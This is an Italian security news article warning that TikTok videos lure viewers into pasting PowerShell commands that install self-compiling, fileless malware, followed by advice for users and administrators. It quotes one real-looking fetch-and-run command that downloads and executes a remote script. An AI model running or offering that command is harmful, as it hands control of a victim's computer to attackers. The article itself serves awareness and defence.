TikTok: il nuovo campo di battaglia per i malware auto-compilanti

TikTok: il nuovo campo di battaglia per i malware

Nel 2025, il fenomeno dei video TikTok sfruttati per distribuire malware auto-compilanti è in forte crescita. Hacker particolarmente abili usano video accattivanti per diffondere istruzioni ingannevoli che spingono utenti ignari a copiare e incollare comandi dannosi, spesso travestiti da consigli per attivare gratuitamente software o sbloccare funzionalità avanzate. Non eseguire mai comandi visti su TikTok. Evita di scaricare applicazioni da fonti non ufficiali e presta molta attenzione agli account che offrono “attivazioni gratuite” o sconti eccezionali. Proteggi le tue credenziali ed effettua aggiornamenti regolari ai tuoi software e antivirus.


TikTok come strumento di diffusione del malware: la nuova frontiera del cybercrime

Negli ultimi anni, TikTok ha rivoluzionato il mondo dei social media, diventando una delle piattaforme più popolari al mondo, soprattutto tra i più giovani. Proprio questa popolarità ha reso TikTok terreno fertile per attacchi informatici innovativi e pericolosi. Dalla seconda metà del 2025, sono sempre più frequenti campagne in cui criminali informatici sfruttano video virali, spesso generati con l’intelligenza artificiale, per guidare gli utenti passo dopo passo verso l’installazione di malware auto-compilanti direttamente sui loro dispositivi.

Come funziona l’attacco: dalla social engineering all’infezione automatica

Gli hacker individuano trend popolari e sfruttano l’ingenuità e la curiosità degli utenti. Creano video in cui si spacciano per “esperti” o per profili di supporto tecnico e, con linguaggio rassicurante, istruiscono lo spettatore ad aprire il prompt dei comandi Windows (“Windows + R”), lanciare PowerShell come amministratore e incollare uno specifico comando.

Tipico esempio di comando malevolo illustrato nei video:

powershell
iex (irm slmgr.win/photoshop)

Questo comando, apparentemente innocuo, scarica ed esegue da remoto uno script maligno. Il payload ricevuto utilizza il compilatore di .NET (csc.exe) per generare e lanciare codice direttamente in memoria, senza lasciare tracce evidenti su disco, rendendo il malware particolarmente difficile da rilevare dai normali antivirus[1][3].

Autocompilazione in memoria: la nuova sfida per la sicurezza

Il punto di forza di questi attacchi è la capacità del malware di compilare ed eseguire codice in tempo reale utilizzando risorse già presenti sul sistema della vittima. La tecnica sfrutta le API di Windows per allocare memoria, iniettare shellcode e lanciare thread dannosi, senza scrivere file sul disco fisso—di fatto, il malware esiste solo temporaneamente in RAM. Questo significa che:

  • Il malware è altamente evasivo e difficile da tracciare.
  • Gli strumenti di sicurezza tradizionali potrebbero non rilevare la minaccia, a meno che non offrano una protezione specifica per attacchi fileless o in-memory.
  • Il rischio si estende anche a chi crede di essere protetto con antivirus aggiornati.

Social engineering su vasta scala: la manipolazione psicologica

La novità di questa campagna è la sua perfetta integrazione nei trend social. Gli hacker creano video con titoli e descrizioni accattivanti (“Come attivare Photoshop gratis!”, “Sblocca tutte le funzionalità di Office in due minuti”), spesso con tag e hashtag virali. Questi contenuti raccolgono migliaia, se non milioni, di visualizzazioni—alcuni video documentati superano i 500.000 views con decine di migliaia di like[1][3].

Altri vettori di attacco includono:

  • Falsi QR code mostrati nei video, che, se scansionati, indirizzano l’utente a siti di download truffa.
  • Video generate da AI che simulano testimonial, guide di supporto o influencer noti, aumentando la credibilità del messaggio.
  • Promozione di fantomatiche “TikTok Shop” attraverso domini falsi, usati per phishing o download di app malevole[2][8].

Malware multi-pattaforma e furto di credenziali

In alcuni casi, i video instruiscono gli utenti a scaricare app fasulle che simulano versioni ufficiali di TikTok, negozi di e-commerce o strumenti di sblocco software. Queste applicazioni:

  • Raccolgono dati personali e credenziali, rubando nomi utente, password e, in alcuni casi, fondi in criptovaluta.
  • Si mascherano da vere app e-shop, estorcendo denaro tramite pagamenti fittizi o promesse di sconti irripetibili.
  • Possono accedere sia a sistemi Android che iOS, usando varianti di malware cross-platform capaci di eludere le difese integrate nei dispositivi mobili[2].

Alcune truffe includono landing page perfettamente imitanti il TikTok Shop, progettate per carpire le credenziali tramite finte offerte e login fasulli e convincere l’utente a effettuare depositi in criptovalute che finiscono direttamente nelle mani dei cybercriminali.

L’intelligenza artificiale come moltiplicatore di rischio

Gli attacchi sono sempre più automatizzati grazie all’impiego di strumenti AI:

  • La generazione di video deepfake offre autenticità, rendendo difficile distinguere la vera fonte di un video.
  • L’AI consente una produzione massiccia di video-trappola per saturare il feed di potenziali vittime.
  • Simulazione di interazioni reali (commenti, likes, messaggi diretti) che danno credibilità aggiuntiva alle campagne fraudolente.

Le piattaforme reagiscono (ma non basta)

TikTok e le altre piattaforme social hanno iniziato a rimuovere account sospetti e a collaborare con aziende di sicurezza informatica, ma la velocità di propagazione e il continuo rinnovarsi delle tecniche di social engineering rendono il fenomeno difficile da arginare. Gli account fraudolenti vengono chiusi, ma nel giro di poche ore ne compaiono di nuovi, spesso con tecniche di camuffamento ancora più sofisticate.


Consigli pratici e azioni immediate (per tutti gli utenti inattivi oggi su TikTok e piattaforme simili):

  • Non eseguire mai comandi o script visti nei video TikTok. I veri aggiornamenti e le attivazioni software si fanno solo dai siti ufficiali.
  • Evita di fidarti di offerte troppo allettanti o di promesse di sblocco gratis di software a pagamento.
  • Utilizza software di sicurezza con protezione avanzata anche contro minacce in-memory (fileless malware).
  • Aggiorna costantemente il sistema operativo e tutte le applicazioni di sicurezza.
  • Non fornire mai le proprie credenziali su link o applet ricevuti tramite video o commenti TikTok.
  • Segnala subito contenuti sospetti direttamente all’assistenza della piattaforma.

Azioni avanzate e consigli per gli utenti più esperti (e per chi gestisce infrastrutture aziendali o informatiche):

  • Implementare soluzioni di endpoint security abilitata per rilevare anomalie nei processi, soprattutto esecuzioni di PowerShell anomali o inusuali istanze di csc.exe.
  • Bloccare per default l’accesso a PowerShell per utenti che non ne necessitano, soprattutto in ambienti aziendali.
  • Utilizzare sistemi di sandboxing per l’analisi degli script sospetti: se si è costretti a indagare, meglio isolare il processo.
  • Educare e formare costantemente tutti gli utenti all’uso dei social e alle nuove tecniche di social engineering in evoluzione.
  • Monitorare i trend dei social, sia in ambito privato che lavorativo, per prevenire la diffusione interna di queste minacce.
  • Se sospetti un’infezione, disconnetti immediatamente il dispositivo dalla rete e richiedi l’analisi di uno specialista di sicurezza.

Questa nuova era del malware distribuito tramite TikTok mostra quanto sia importante essere informati, scettici e pronti a reagire in un mondo digitale dove la creatività dei cybercriminali supera ogni barriera generazionale e tecnologica.

Fonte: https://cybersecuritynews.com/hackers-using-tiktok-videos-to-deploy-self-compiling-malware

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